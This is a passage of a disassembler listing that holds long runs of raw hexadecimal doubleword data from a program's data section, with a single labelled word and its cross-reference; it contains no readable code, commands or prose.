		dd 0D7D363Fh, 74832EA6h, 8E37B880h, 0ECAE1644h,	0B08213CCh
		dd 0A1FC2440h, 573F2307h, 0C8007AEEh, 0E1E4E7Eh, 63254491h
		dd 400208CBh, 0E860D0A0h, 7F145729h, 0EAC218Eh,	3350EF77h
		dd 1F6D44E4h, 2463C22h,	0D030591Eh, 7F061470h, 7051C393h
		dd 0F3BE0028h, 0D1221FADh, 23071206h, 0BDC5497Eh, 840B802Bh
		dd 59A5247Fh, 1E00D891h, 0AA235254h, 1300B2CCh,	563C8CD8h
		dd 2B3FC55h, 18DEE222h,	0B75011Ch, 25CC81DCh, 9BD4B4CEh
		dd 0F2E30020h, 0D3114042h, 3A76147Dh, 2D848800h, 7410702Fh
		dd 0AF38004Eh, 0D141B604h, 0CB041F87h, 0A207D8BBh, 13FB60C0h
		dd 0C59B0FCFh, 45606B5Dh
		dd 0FC1EB7Ah, 84CB1027h, 0F0B4D964h, 0A76B01AEh, 7633A688h
		dd 0A14C307Bh, 0BF65BA00h, 21A37C06h, 634A0547h, 0E83145A7h
		dd 10980330h, 77BD3B2h,	438E3D20h, 6A6B4FABh, 1C005478h
		dd 0FBE50345h, 4D728740h, 5C27BCBAh, 5A1F2CC0h,	9FE10900h
		dd 775D87D7h, 0EB071F52h, 0C253C0A9h, 11E392D2h, 9E3C00BDh
		dd 332CEC7h, 6E230F71h,	5DF0CAE8h, 903CE250h, 1E1887E3h
		dd 0FE1187CDh, 2821A144h, 0B8D820h, 1023A594h, 0EDB28C54h
		dd 0C960A7Fh, 0D12DA602h, 9E1E605Eh, 766438B7h,	31582980h
		dd 0E9EE668Eh, 81F3BA03h, 19ED599h, 9D3952C0h, 0D86E1D75h
		dd 1200E3BCh, 0DCA60B2Ch, 0F740CE1h, 0A7553D1Bh, 0ECAB2B05h
		dd 7C6F095Ch, 0E47087h,	50B0DD3h, 0A20F12E2h, 0CCB5BE1Fh
		dd 0D92729C0h, 7D1B01D1h, 5AB916F8h, 42A51DA9h,	0E592A04h
		dd 0F029D841h, 577E9BBh, 126C3905h, 0E823BA51h,	0D21EA09Bh
		dd 0BF8C2C87h, 845B002Dh, 0E43D03B3h, 0B62D7705h, 0DC00F1CBh
		dd 7F200780h, 0AE11C0C3h, 2CBCD4A1h, 8026D895h,	9F5A95E4h
		dd 19E90000h, 0DA50AA9Dh, 0D81324E3h, 0A0B8A10Eh, 1AC9177Dh
		dd 15CC432Ch, 27D0EC47h, 1F00DDC0h, 9709DE64h, 7EC41D48h
		dd 0EC0C548Bh, 0D1CC00ABh, 0D9DC981Ch, 4A03A777h, 40C0ED4h
		dd 0E91583CBh, 834023C4h, 35BF2Bh, 1110E5DDh, 0FE1CE8C1h
		dd 0B7183900h, 0B12C9F73h, 6090C6h, 0B6070956h,	45F5C1ADh
		dd 0D43AE72Eh, 79D60A01h, 0C22A662Fh, 6DC02E54h, 0F4A3B6BBh
		dd 0E1D44FB8h, 4ABE9D40h, 82A8B045h, 0CFB04600h, 0A1FF1006h
		dd 48ED0BE8h, 58021F68h, 70C4D8A3h, 60006BFAh, 3C31367Bh
		dd 1FEF9C7h, 830F1608h,	40B4CA8Eh, 0FD2B35F4h, 0C49A3E84h
		dd 8018C21Fh, 0BE2BF11h, 0D1009C2Bh, 3E494F98h,	0B07A9584h
		dd 13A401ABh, 0C2C47B31h, 5543EE63h, 4920C188h,	0E7F430F0h
		dd 0B1FBDF00h, 82E2B9A3h, 8C8E5CBFh, 0CCA2EF0Fh, 3893E8E3h
		dd 2A106CC8h, 9A04A3B8h, 960827D7h, 0E2FFEC80h,	0ABF017ECh
		dd 67980456h, 981D4948h, 0A14D71F0h, 0A6D4DEB4h, 0E04F48D3h
		dd 0BF7EBA03h, 7F9810A7h, 2B00E7B6h, 0C67A4945h, 75A2F412h
		dd 1E7100BBh, 78514A38h, 80798179h, 2C1C52E4h, 5B39E292h
		dd 7AAC6840h, 4211979h,	30A36F50h, 26309055h, 4E0DA5B0h
		dd 0E0F1B777h, 1A6D8C8h, 57452291h, 0F3592388h,	7AA38B90h
		dd 76DBEA00h, 522D3A2Ah, 0C4F73AF9h, 311F1503h,	9BE0116Dh
		dd 0A11F8B3Ch, 7449F08Eh, 0DDA680F5h, 71BDA46Eh, 10609DFDh
		dd 61015AB4h, 0E1DB3A90h, 0EDCCEF0Fh, 0DCDA022Bh, 77A20EF2h
		dd 7A419C80h, 0EC60F4D1h, 22EF5C48h, 0D85D603Bh, 52D7BC9Bh
		dd 0C1AB6500h, 43B51BAEh, 839F0081h, 30348DF8h,	0A4016047h
		dd 7F503FDEh, 964755DFh, 0C8034FC3h, 9152D5A9h,	0F02B0074h
		dd 7529F7A5h, 2C001CB9h, 982F0DDEh, 92400E0Ah, 4460C470h
		dd 1446FD59h, 9F00575Ah, 0B46A470Bh, 2350029h, 0A5FBC34Ch
		dd 0E95FC4E2h, 6A5DE490h, 1C9B073Bh, 303AFCA0h,	0DC796FC9h
		dd 789E9525h, 49800FFCh, 46A0B3C2h, 5D972C62h, 0A5926400h
		dd 75813DCCh, 0A6F91EC8h, 0A424008Fh, 0B091ED0Ch, 5FAFBB00h
		dd 3E9726BCh, 8F7600E5h, 2A6A86D2h, 37245295h, 26008DEDh
		dd 222DE3D1h, 0B8E57956h, 277071h, 4ABA71DCh, 0B63887A7h
		dd 5D2C8800h, 0AB2A0363h, 43200FB9h, 3A00BD92h,	3F72DFBAh
		dd 0D0234227h, 6C9297h,	9DCEE149h, 0E8A81A11h, 5F87D807h
		dd 3BF12071h, 0F3F0E4BDh, 5C3F2D01h, 347E8480h,	0C27BDEDCh
		dd 4B4A000h, 906D68C0h,	44FB0B50h, 8C810F76h, 3791EE3h
		dd 4F9AF0EBh, 0FF5D3F22h, 49B8A717h, 48781AECh,	0D7271300h
		dd 6B7265EAh, 5D940125h, 0C0D10781h, 0D55E6070h, 0DC45580Eh
		dd 0D2D88776h, 51C0D307h, 73CC482h, 0E160737Ch,	76FDD038h
		dd 1A71E06Bh, 31527D05h, 0FB1E07C4h, 6EFBF040h,	3E8965h
		dd 924EB45Ah, 73CC269Bh, 0DE5CAC00h, 0BF799775h, 224D3C93h
		dd 0CDD88E00h, 0D069C206h, 3305EE1Ch, 70818842h, 9C05493h
		dd 0A8608056h, 1200295Dh, 0E439E734h, 3F7E4F6Dh, 9B9D1705h
		dd 0AA0EC778h, 0B0C86785h, 77AFA131h, 0ED6EBE0Ch, 26B5F657h
		dd 5CDEE53h, 0D2996436h, 5D404958h, 0B4BA4F63h,	0B272BA04h
		dd 2EEBC779h, 0F50380D0h, 1E9B0E06h, 0D3198B8h,	0E38093CDh
		dd 0B02210CEh, 1A078B3h, 0F7ED3A58h, 0E84B86CBh, 639077BCh
		dd 838F9800h, 68F51CE3h, 7169029Dh, 2F9FFA0Dh, 3BB09475h
		dd 0C080F067h, 0BF5FF931h, 72512A40h, 20D5FEFFh, 8F5C30B0h
		dd 0BC8D01CBh, 1787CE40h, 0B4CB3A22h, 0AF5C26C4h, 4510F42Bh
		dd 2B83033Fh, 0D9518430h, 9A087AFAh, 45921000h,	6DD45612h
		dd 0D97B00A5h, 0E480A469h, 5007E765h, 7F1C37F7h, 433D3F30h
		dd 0B88C00B1h, 5EAEB587h, 0E0EA17Bh, 80E5A613h,	0E1033B96h
		dd 936F00EBh, 3D745546h, 6375696Dh, 33C1A59h, 4DDB422Ch
		dd 0B37DA8F3h, 50C0085h, 3521D78h, 1C0E73E5h, 83442F27h
		dd 1F7693F0h, 0D7071738h, 3EFCB040h, 51121130h,	0A025A73h
		dd 3B846BD5h, 9F4C80B0h, 6E0BCBE5h, 0F07B37Ch, 609ABADCh
		dd 1398DE6h, 0C82F40Dh,	0DC8ECCF0h, 0C60080CFh,	0B1904B2Eh
		dd 79EBA675h, 698D1827h, 0DB452035h, 0E67820FBh, 0A3975F00h
		dd 841074B2h, 0D379C044h, 0F2E1D204h, 0C1C76B00h, 71972E02h
		dd 2FBE0317h, 86E78F7h,	73D477E8h, 0D055670h, 0B8B4AA5Ch
		dd 2075F846h, 6877A1h, 83F003FEh, 9E8756FFh, 17BAE100h
		dd 4B10C647h, 0AD193030h, 7B5ED39h, 29CEF501h, 0A945205Ch
		dd 59E3FCh, 0F2320960h,	7618F6CCh, 609A8730h, 0D30E69h
		dd 16BAE57Ah, 2ACB2E7Eh, 0ED3E9600h, 97E97290h,	0E85B041h
		dd 6512CC4Ah, 51324B60h, 200390ECh, 1D3A29F5h, 0A539031Eh
		dd 0AF5BACA4h, 81C02BBBh, 0C9000156h, 0F8F64C1Ah, 68CFA6h
		dd 104B6CF5h, 39B47A1Dh, 0CB1B9500h, 745B7A9h, 70DE0028h
		dd 0DA779066h, 2A01AC5Eh, 0E71B4C7Dh, 16F80B62h, 7FDC0FFFh
		dd 13802FBCh, 42078E94h, 0F72EFEF8h, 183065A1h,	0CA92815h
		dd 0D3A5A480h, 1C1C1BA0h, 0B1F31E3Ah, 0FE14CB76h, 0D9B2C080h
		dd 33E5FA19h, 0D4B7C807h, 406EC411h, 99B9F343h,	822B0C59h
		dd 1B41A6A4h, 4E912503h, 0E18C14B8h, 1986D7A3h,	599BABDAh
		dd 18A0A575h, 34001A4Ch, 4FA28687h, 0E455B5Ah, 0C5929CD8h
		dd 3A42D700h, 0A6891E16h, 2C94ACC8h, 79E6C5Ch, 8D85502Bh
		dd 0FDCF4058h, 0CE00539Dh, 1720EF0Eh, 724ECA7h,	27FBF462h
		dd 0F3454126h, 29108861h, 2CABC031h, 460D8A6h, 0A825AA31h
		dd 8E41DDE9h, 455C153h,	6ABC0E81h, 0F0BDF154h, 5F610DB1h
		dd 211BF321h, 0E015DEC0h, 0CDD67A29h, 0EC21F808h, 8E032134h
		dd 4FA3A768h, 5B28151h,	0ED88244Bh, 0FFC8C0CFh,	362DD47h
		dd 6405C2ACh, 0A907E2EAh, 0A24963BDh, 1E5E0D53h, 0C0BC6439h
		dd 6C70A062h, 1F0E51E8h, 0DD9B1EC3h, 680795C3h,	0E4410A54h
		dd 141C5BB4h, 0B3032C43h, 0C8A7E806h, 0DFCAD3E7h, 0FFF31900h
		dd 0FA6B1B9Fh, 636519FEh, 80F008EAh, 9FF7A121h,	1E5CE564h
		dd 0C544C2Bh, 6171663Ah, 0AD68BA00h, 5F49AEECh,	8A06644h
		dd 8300215Dh, 3B9268B2h, 102E4CEh, 896DFBA1h, 4837D472h
		dd 0B1D669CCh, 424AC701h, 0E0EAF7BCh, 590F027h,	4B04506Eh
		dd 0ADB80836h, 0F1211FC3h, 0EE1835DEh, 9018F38Bh, 65536FBh
		dd 0CD04ADA5h, 2A01D9DDh
		dd 0D5290275h, 2BF4BC1Dh, 673E222Eh, 80000C90h,	0AF7D9A5Fh
		dd 0C46FE2h, 0BCBD60D1h, 0B469A866h, 4C51A600h,	48030D97h
		dd 0A7D0F63h, 58E0C391h, 0E4AAE581h, 6E3E89C6h,	22872C59h
		dd 0E7FD001Dh, 56C70D86h, 2AE9E438h, 0CA0AE441h, 0D0C9B225h
		dd 20A00260h, 0FF92216Bh, 0E5809E65h, 77A6C2ADh, 51C90693h
		dd 21EFCD18h, 14BE1300h, 5DB882A4h, 3F2D0059h, 4FB6757Bh
		dd 61B0F394h, 4B24E606h, 72B05667h, 3C33158Fh, 4500D029h
		dd 0AEB8A6ADh, 0E07685AFh, 30861F3Ah, 24E7213Eh, 8B5900A7h
		dd 0E495CBBh, 0F1C0693Dh, 0D457FA83h, 62E90A78h, 40C0CCAFh
		dd 59667DF9h, 7098E050h, 6F08C581h, 0CA7D88h, 0ACF91992h
		dd 0A28D6C99h, 564FE200h, 0CB9AB2AEh, 72CCA0C3h, 913C6361h
		dd 4900650Eh, 0C0AF295Ah, 394A3C2h, 0F0D8D6B9h,	0C039823h
		dd 9CCC4FD7h, 0C9381F26h, 0C08C6425h, 6B199FFDh, 0F722EA46h
		dd 9FF61300h, 3467DB03h, 6E3F014Fh, 0F2D9057h, 81819F64h
		dd 9F683D47h, 26B96650h, 0B074004Ch, 215FAC3Ah,	45E87255h
		dd 8C05B9C1h, 0D891C32Ah, 0E8CC18D3h, 0EEDCDE71h, 224B0051h
		dd 2A75C45Ah, 0F092CA3Eh, 850B863h, 234DA273h, 891CF00Eh
		dd 40806CA1h, 4A446032h, 8E22008Bh, 0C8D19FD7h,	0EC60DB7Eh
		dd 8524DE2h, 46B4902Bh,	212202ACh, 313DDE05h, 611C12FAh
		dd 3E60597Ch, 766E03A8h, 7299F88Ah, 0B26963D8h,	0CE344B1Dh
		dd 0D1FA448Ch, 0A93A603Bh, 0E3CC9118h, 5CAD2400h, 4ACB02EAh
		dd 2C9B00A2h, 67ED70BBh, 0B6E0AE8Ah, 41C4CC34h,	70ACD80Eh
		dd 22A004C0h, 0FF42A26Bh, 9FFC9CC0h, 11005BB6h,	0FA66A5E4h
		dd 12216530h, 4670DB35h, 31EACC38h, 0D3362B00h,	0E477F4A8h
		dd 25614C62h, 4065D840h, 68540E55h, 0F0058D80h,	9CD09F38h
		dd 36955780h, 55631467h, 3E18A851h, 818A6156h, 3116A800h
		dd 0B75C4BADh, 0B9470072h, 4FF4DF70h, 0B2384388h, 8F126DEh
		dd 942C4B8Ah, 305AFB80h, 7D2BA86Ch, 0D46E5048h,	1E058CB0h
		dd 1DDE0121h, 0B44C648Eh, 0E16D2103h, 32A8397Eh, 518DDC4h
		dd 0EFA1723Bh, 0B34384Dh, 7E448980h, 6C94C4ECh,	0F3DC8400h
		dd 132EEC0h, 0CB9802D3h, 0E4CCB306h, 2AA998A0h,	0D60774A1h
		dd 7BAB038Eh, 4794691h,	0E02452ECh, 0B2B0C828h,	0FF211CC0h
		dd 222D46DDh, 351630F1h, 0E8E19A20h, 92646539h,	0D83E2763h
		dd 0EB00FA23h, 0B32E710Fh, 64010C0Dh, 4A21E6E9h, 0D3B42D54h
		dd 0B2018C7Ch, 59B8B560h, 0CEF992B3h, 0A0673434h, 5DEA3414h
		dd 0B93E30C4h, 3793AB0Ah, 60F824F8h, 0BF472D0Eh, 553A3600h
		dd 0B2A58238h, 372172E5h, 30E960B4h, 31B11BEEh,	34A4240Bh
		dd 214410DEh, 26802C69h, 52B700F8h, 0FEF1E372h,	10E4BF58h
		dd 1DCC9B0h, 26B1EA0h, 8BF90CFFh, 8E9FF8F0h, 9D395D00h
		dd 7308628h, 33623273h,	38E40ED1h, 3C01E878h, 763FC6F1h
		dd 0DC33B811h, 34BE3300h, 95A92B85h, 28B9CAE8h,	0A18F979h
		dd 0B63B8200h, 0CD4A9A33h, 8D7221h, 986B47B5h, 2E607257h
		dd 0E922B4A4h, 92175C3h, 0CA71A966h, 0EF910097h, 34CA3881h
		dd 0B8DC48E1h, 0C5AEBC01h, 5DADE4C3h, 72B38050h, 8126605Eh
		dd 2724AAF7h, 0E8602A48h, 0DE008CECh, 222F02B6h, 0F9D4CC4Dh
		dd 58C2608h, 6B1C9FFEh,	20388EF2h, 98BE60A2h, 0DCFDD441h
		dd 6246C7Eh, 51012005h,	13FAF265h, 5DE0B6E1h, 8DD11E66h
		dd 0B7850DDEh, 0D46458BAh, 52C44h, 64E3B1DDh, 0B3E5244Eh
		dd 57C15660h, 69B5DF0h,	0EDE8E27h, 0D2021963h, 0CE827C54h
		dd 42405D20h, 6E02E59Bh, 24A23A15h, 745C41A6h, 88DDB020h
		dd 76E2D094h, 0DE06A212h, 48E55C88h, 3E84F8ABh,	0A37C9074h
		dd 97002E43h
		db 0EBh, 31h
word_505446	dw 3BF3h		; DATA XREF: ___:off_437508o
		dd 0DC42AFh, 63BF2319h,	34C19CA7h, 0C5C0DD49h, 6088515Dh
		dd 191A8CA3h, 0E58CFE21h, 32138014h, 0B4B89E21h, 0BC796604h
		dd 0BB20E7CCh, 0C30011DDh, 479AECCEh, 2A707E4h,	0A69434C2h
		dd 0A4A02B49h, 9FAC2DF1h, 0F0B5F724h, 1456223Bh, 0C895E64Eh
		dd 1964269Eh, 90B36105h, 1EC0A948h, 0E8C7D188h,	0E4AAB529h
		dd 0F055E48Ch, 6B3E2605h, 88F04010h, 0A100B011h, 1E366386h
		dd 0DBE8C35h, 0C2070EC1h, 0F29C7280h, 0A03930EBh, 4A1ADB3Ah
		dd 1B228C21h, 1B90B3C4h, 31F372DCh, 9A946EE0h, 0D2F10C05h
		dd 608CE831h, 4B2E449Bh, 0AB0063FCh, 0AAEE4D9Ah, 60E0E7D5h
		dd 0FE1929E4h, 0EF00430Eh, 324E30B0h, 24AB602Ah, 0C7182767h
		dd 5082C949h, 74486B48h, 7481C330h, 0F7BCC82Ch,	61F2008Ch
		dd 9155F309h, 8A4C4F5Dh, 0EB3BC0E0h, 1CFC274h, 2321BDE1h
		dd 4ABCDF50h, 0C0FAC834h, 45C8B270h, 532161Eh, 0CC987642h
		dd 0E7C100F2h, 21FE0E38h, 8119A63Fh, 0DA892D03h, 0B8E41F8Ch
		dd 53CB149h, 0C08760CBh, 6915F413h, 273E663Eh, 767818DFh
		dd 0F39304A3h, 8799C64Ch, 0C7064003h, 9D0FBF61h, 87C448C0h
		dd 45C752BEh, 9AC14660h, 0C1FBF9C5h, 9D184FBh, 98D11080h
		dd 9D04620Dh, 0B3A0200h, 0C8316A2Fh, 36B6000Ah,	46F2D1BFh
		dd 0CF0793C5h, 0F399C124h, 0C395C1CEh, 13E0D252h, 3083E953h
		dd 0BFD3D14Fh, 0F2A0C7E3h, 600BC15h, 9EF44EC9h,	9C0338C4h
		dd 43D7AE0h, 0A7CC4175h, 0EC903C38h, 0DA008CFBh, 4887D113h
		dd 492AF12h, 60CEEFF0h,	8A4B4CCh, 9E8ECD2Dh, 922D07D4h
		dd 30946277h, 0DE8CEBAFh, 34E2B00Dh, 5FE04804h,	18F76FE3h
		dd 0E0861EA3h, 292EE2F1h, 0A6E50C68h, 0E8D161h,	0FE26E9F8h
		dd 8B17D467h, 6379247Eh, 2B0B6600h, 0D3607253h,	0CE30C352h
		dd 688EF499h, 985DF006h, 0FC668D18h, 2EC85BA1h,	0EF23ACh
		dd 0E71E19F8h, 3D69CDE8h, 0E43C6588h, 951260EDh, 7319097Ch
		dd 6CC8326Bh, 0F9C467E2h, 38E56572h, 88748C18h,	0DB285EC4h
		dd 6C7C9CF2h, 0D1D7E509h, 0A64C460h, 713D1DC2h,	2C630828h
		dd 8CEA2681h, 383DCEEBh, 0E1F9307Ch, 6BAB5CA1h,	2B083D01h
		dd 1BCE0168h, 60B9F8F0h, 0AB65F040h, 20C03ED7h,	24CA61BDh
		dd 0B5D81053h, 0A2C84134h, 351DC8BEh, 0C2038FDCh, 262B76Dh
		dd 0C09AA8B0h, 0CF00CEF1h, 0C741BB32h, 41554BA9h, 0BCE52071h
		dd 0FC5F7C20h, 68B53030h, 0D6EC23B4h, 2A006011h, 67CF68ADh
		dd 0EC008830h, 0D65E4B0h, 88324B3Eh, 9E0055A0h,	0F03FE722h
		dd 12B0AC9h, 10065404h,	823521D9h, 0B66E69C8h, 0C98FAF9h
		dd 86DABB6Ah, 0E95264D8h, 0B14B0398h, 2FFC85AFh, 941816E8h
		dd 0B739A6B8h, 402246AEh, 0AFE83Dh, 3DACCD93h, 3D429F70h
		dd 0E2895ADCh, 0B424EDCCh, 0E0034EF0h, 2ADADE55h, 86580067h
		dd 95E5F140h, 5905EE4Dh, 7D9977D8h, 0FB45A427h,	68B69C60h
		dd 0CEEC23B9h, 27005C11h, 0A1168AEh, 0F8248F48h, 6C0BC8Eh
		dd 1D245D9h, 99E167FDh,	68CA85FFh, 8CF8B8B8h, 0C6068E03h
		dd 0F00CF0B9h, 1469D4A5h, 0AC5C16C3h, 95ECB302h, 1440FBFFh
		dd 81C0EF0Dh, 75D87766h, 0DFBA03F9h, 0CD0906F5h, 0A527DBC0h
		dd 22FBCF01h, 14E2AE05h, 0C3E02C25h, 848A508Bh,	0BB048CF6h
		dd 0A6ECAE68h, 84205B62h, 3BAF68B3h, 0C1059A6Dh, 1C2973C4h
		dd 46F028DCh, 0A6B90217h, 31CFAEB4h, 0B0EB1139h, 10679E8h
		dd 27A1FCB3h, 0E8BE76CEh, 0C97CA844h, 0E1E0DE0Ah, 0C300ACCCh
		dd 0E53422F5h, 25BCA4A7h, 0E4444464h, 0A420D660h, 329463F7h
		dd 4B08FDBAh, 81010472h, 0C2AB9B68h, 20947838h,	2A09C8ACh
		dd 0D4514BFFh, 0B8185871h, 0E667FF07h, 63E2BCCAh, 43FC4ADFh
		dd 55EEC128h, 318C0804h, 0BAA6ABC0h, 861F21AEh,	0E5003A91h
		dd 469DA722h, 71C0553Eh, 76A6FD6Dh, 0BD7100D2h,	740424E0h
		dd 50008C75h, 54CE1639h, 0A231E912h, 0F5841E80h, 20321711h
		dd 0EE008951h, 2FBDE40Dh, 0D1372Dh, 34AC1BE5h, 28617306h
		dd 0B60531C6h, 5FAE2418h, 0A4172D6Ch, 0E483EC11h, 0FCF80446h
		dd 59CE2F49h, 60D1EFBAh, 6EC664FDh, 25E7381Ch, 2EBC5A7Ah
		dd 0EED2348h, 35802A1Fh, 0A07DA12h, 752E5A12h, 0F1529C05h
		dd 5C1E18A2h, 0FDAA82C7h, 1854CD22h, 40F2ED83h,	8D719805h
		dd 17A312DFh, 0F50C08E6h, 0AB68ACC0h, 909E48ECh, 68A481E0h
		dd 0F2C01B00h, 0A633C9DBh, 147A12AEh, 0B8BC0BF3h, 822E1002h
		dd 74FAC127h, 3212040h,	2C4D5BDEh, 84A02290h, 7503CC66h
		dd 0EF640685h, 68C10BDCh, 2C207AB3h, 9619DA98h,	551C047Eh
		dd 7209FE76h, 5BDC843Bh, 5FCD890h, 24FB16C1h, 0EE588818h
		dd 97F17E8h, 0B678ED70h, 543DA229h, 0FE18F171h,	4E091002h
		dd 0C86CE1D7h, 984C81A8h, 0D94116E0h, 0F86048D1h, 0AC81B9C4h
		dd 0B058B6ECh, 0B1268855h, 1A066801h, 67B25B6Bh, 51E8F085h
		dd 0B8B2CCh, 0DD88A787h, 0BF210Dh, 0E06AEF59h, 1C018647h
		dd 7C7AAF0Ch, 0F0E69006h, 5E84B442h, 0C70BEF46h, 7C684364h
		dd 7118CEB3h, 47580B80h, 1F9EE63h, 4BBBC36Dh, 2E386672h
		dd 7EEEE070h, 0F49F00D0h, 4FD13D61h, 0F0032884h, 49D8447Ch
		dd 192958FFh, 0C4125D16h, 88A4CE90h, 0C5A5C03Bh, 0C214F1ECh
		dd 82B8E134h, 42206947h, 0BDE890DAh, 1EA05FB0h,	646DD1ACh
		dd 185B2CC0h, 0F11F997Ch, 9395C311h, 0CD9440C4h, 0E3446318h
		dd 4BB64B51h, 3170903Eh, 0F204F4F8h, 34F0703Ah,	0E56358D1h
		dd 0E41A6422h, 0F04169ADh, 43219394h, 733DF461h, 0C011119Dh
		dd 0A9A89A27h, 0D70903DEh, 5C32AB42h, 0C9E3011Dh, 30AAFFC5h
		dd 0B32CB560h, 0EC10A0EEh, 898E8B00h, 0E8EA0759h, 6E6390Bh
		dd 11DC1D68h, 387680FBh, 4B3E740h, 0B89AAF7Dh, 0C204810Ah
		dd 0E9D42032h, 2105B0AEh, 85DAB36Bh, 24579C04h,	50A81484h
		dd 48CEFBCh, 0A9F0DE2Ah, 4FF0813Fh, 4C402A0Fh, 0A6680719h
		dd 0F1610711h, 135607Dh, 6DC9B349h, 81CF38A4h, 38CC8CF8h
		dd 360E122h, 90790091h,	0B5034C1Fh, 2C49EAAEh, 672403E0h
		dd 428B4E63h, 0F1E258B8h, 60E9C30h, 56BB6B30h, 60B4889h
		dd 7D8B1E1h, 0D37187F4h, 272AA69Eh, 0C89CA0B0h,	0DF3A6A1Dh
		dd 90B52409h, 0ADABD71h, 6B008C4h, 3D4C302Ah, 0BE278070h
		dd 2C8ACC9Eh, 37743562h, 5073C908h, 0C8AA5A00h,	246A9B6Bh
		dd 260A4E8Ch, 65DD0EA4h, 0D8108814h, 4EE2CF0h, 6DECFB02h
		dd 0DEA480BBh, 0C06C3DF5h, 0C86F3471h, 1E0E2AFCh, 77CEB469h
		dd 14B9380Bh, 5638BC04h, 0A72EF46h, 2C9DE8DDh, 0B0B40EFCh
		dd 738ECA1h, 353C204Bh,	0B782DFFh, 92ACE3BCh, 31ACC09Ch
		dd 0E9E180D1h, 6D85FE25h, 0CA7AC110h, 0A5402005h, 12D4CF5Dh
		dd 2C9B8721h, 2ED11680h, 0C1097429h, 72D33588h,	0EC1097B4h
		dd 29031FE6h, 0C0AD1944h, 55E7B868h, 2D7528F0h,	20632684h
		dd 0B0E21394h, 0A8BE3EE8h, 0C89AC912h, 9A0ECFC0h, 8005D9CAh
		dd 49B47B32h, 0E76EA4C8h, 3DF57A30h, 88007F3h, 2F734C46h
		dd 9573F0EFh, 8C2EE896h, 3D465Eh, 0A28ECBF2h, 27B30502h
		dd 78246A72h, 58F90Eh, 0E5795AD3h, 52DB863h, 0F1D8DE07h
		dd 52C449D6h, 0AF2F7880h, 0DF494872h, 0E86328E0h, 71AC8554h
		dd 6ACE50Ch, 13B350C5h,	0C19F9786h, 0CC2F5F44h,	0B64E94BDh
		dd 0E2AE9030h, 0B0084930h, 0C0806E88h, 4E1E13D8h, 6B5204BFh
		dd 0C2978FA3h, 80C44BE4h, 0A05D1D00h, 57045F1Ch, 8DF84832h
		dd 6D20A400h, 8F8795A7h
		dd 4B443894h, 6037CF9h,	78ABB148h, 0FEA622C0h, 0FFC3CC00h
		dd 0FAA03067h, 0F4109525h, 6E02F017h, 0E2E42EF8h, 0E70B55DDh
		dd 0C8977C2Bh, 0A5803B91h, 0B2BDA811h, 0FB24F53Ch, 2521AB65h
		dd 7C189014h, 34B23204h, 0A4A21C06h, 0FF232622h, 5B48ABAAh
		dd 0D72BA6F0h, 0B0FC417Ah, 28B45E2Eh, 0CB779F60h, 3BFD005Dh
		dd 7640F84Fh, 1709AA3Dh, 823766C5h, 4006DE67h, 83D0D9D8h
		dd 0A248A68Ch, 0B5B830EBh, 7A77470Eh, 0AE9A82B3h, 682CE063h
		dd 0F80B2B6h, 3C32223h,	0FC046609h, 8810CEFFh, 0ECE6C05Ch
		dd 802CAFBCh, 5E08A03Ah, 0D8FE0472h, 6400D131h,	4C402F0Fh
		dd 1EF0DFBCh, 0A9690592h, 8321634h, 0F380F298h,	643FD19Ah
		dd 0C9E407h, 704976FDh,	2C72E90Ah, 2FF94B03h, 0E4F1B699h
		dd 0A54488h, 40B00246h,	5C313062h, 6D506A00h, 0ACB62195h
		dd 2F884EBAh, 5A2328h, 27F5A25Ch, 2E4F0106h, 6902B412h
		dd 7C0B76D6h, 2D00DE34h, 7322BAF2h, 55FE66h, 85BC8163h
		dd 37079D7h, 0A89AE490h, 1E13FB46h, 0C8608E56h,	0EEA8C03Eh
		dd 0D801C8A2h, 19F85E2Bh, 0D052FDD4h, 7CE82063h, 7E008AABh
		dd 0BE1B7AC7h, 3FEBACh,	0F64AD352h, 2A5E72B2h, 2B8B59CEh
		dd 99DC8022h, 4807270Ch, 5EE824E3h, 2A7FC8Ch, 46D82BFDh
		dd 5C40AABBh, 0C41F1C63h, 629BE39Bh, 334498A1h,	245F121Eh
		dd 8DC80469h, 0AC24EDCAh, 5B97806h, 0F2B73437h,	9318C1F7h
		dd 20DE0962h, 92761B71h, 0BC772900h, 72104788h,	0DEEC00A4h
		dd 5DF04B49h, 8E78137Fh, 913C17B5h, 9FB4823Bh, 0FCC4196h
		dd 0BD002462h, 0C6B9F016h, 284CD2FCh, 0C01AC894h, 0AEB3A6B4h
		dd 2230D752h, 0CEC4841h, 1A00773Dh, 1C5199Dh, 34259C4Dh
		dd 21E0A0D5h, 14CB399Bh, 400DA015h, 83EA4C1Fh, 38611EA7h
		dd 0E40EB680h, 888B14Eh, 0C38F108Ch, 54030005h,	7A162F0h
		dd 63610468h, 0B083ED3h, 92CE8038h, 60938DF0h, 3C2430E8h
		dd 0A7658717h, 0CC41FCB8h, 31699CE3h, 3DA4EC48h, 0A212E2B2h
		dd 0B4DC84D1h, 0E87BBC94h, 0EC20685Bh, 1DCF01DFh, 1F6B0D29h
		dd 949340F1h, 0B4C0D254h, 3357D005h, 0CEC0D958h, 72107769h
		dd 87810002h, 0AAB02393h, 31E848EBh, 8BEAF700h,	76BCCEA6h
		dd 0F0377D2Bh, 0A4853E12h, 0A9B6D600h, 0CDAF58F9h, 0AA0F101Ch
		dd 39247980h, 301D2Fh, 95B131BAh, 0C1362304h, 21EE38h
		dd 34CEB218h, 91CE6B9h,	49E8542Ah, 404B00E1h, 453C2A0h
		dd 0F2D12899h, 0CF5C4218h, 0CC385B08h, 0E7F88462h, 75EC0CA0h
		dd 78692724h, 9C91D605h, 1FEE60E0h, 24F10F5Dh, 3C467668h
		dd 99332102h, 3442B485h, 66C43800h, 900A5Bh, 0A1A60609h
		dd 60704DC8h, 64061572h, 5041EE4Eh, 6BBEB36Ah, 7200C86Ch
		dd 0E855168Dh, 0B0A12A71h, 0F8B060C3h, 26D2E920h, 0A7E0AAE1h
		dd 0F144B447h, 0A640B560h, 3AC36917h, 0F8A8B085h, 0DE30B480h
		dd 700E9F7h, 0F6FD4D77h, 92BB20h, 2150D113h, 563A5AEBh
		dd 0E0E838C1h, 0A98F3F05h, 1126DEBBh, 0BE271045h, 0E4D8C552h
		dd 197360EEh, 473901D9h, 284304A2h, 0AA0BEC57h,	79702E30h
		dd 40D985F8h, 0E21728FDh, 60D208BCh, 68B730FAh,	0C6ECBA11h
		dd 28805788h, 0CF0A68AFh, 922F0C16h, 0D748E6C0h, 0FA44F0A7h
		dd 9406F360h, 0A86A202h, 0F9EA6458h, 12FE395Ch,	0C037A1D9h
		dd 0D7A5A6B0h, 0FB9CB912h, 11776809h, 9820D630h, 654C9249h
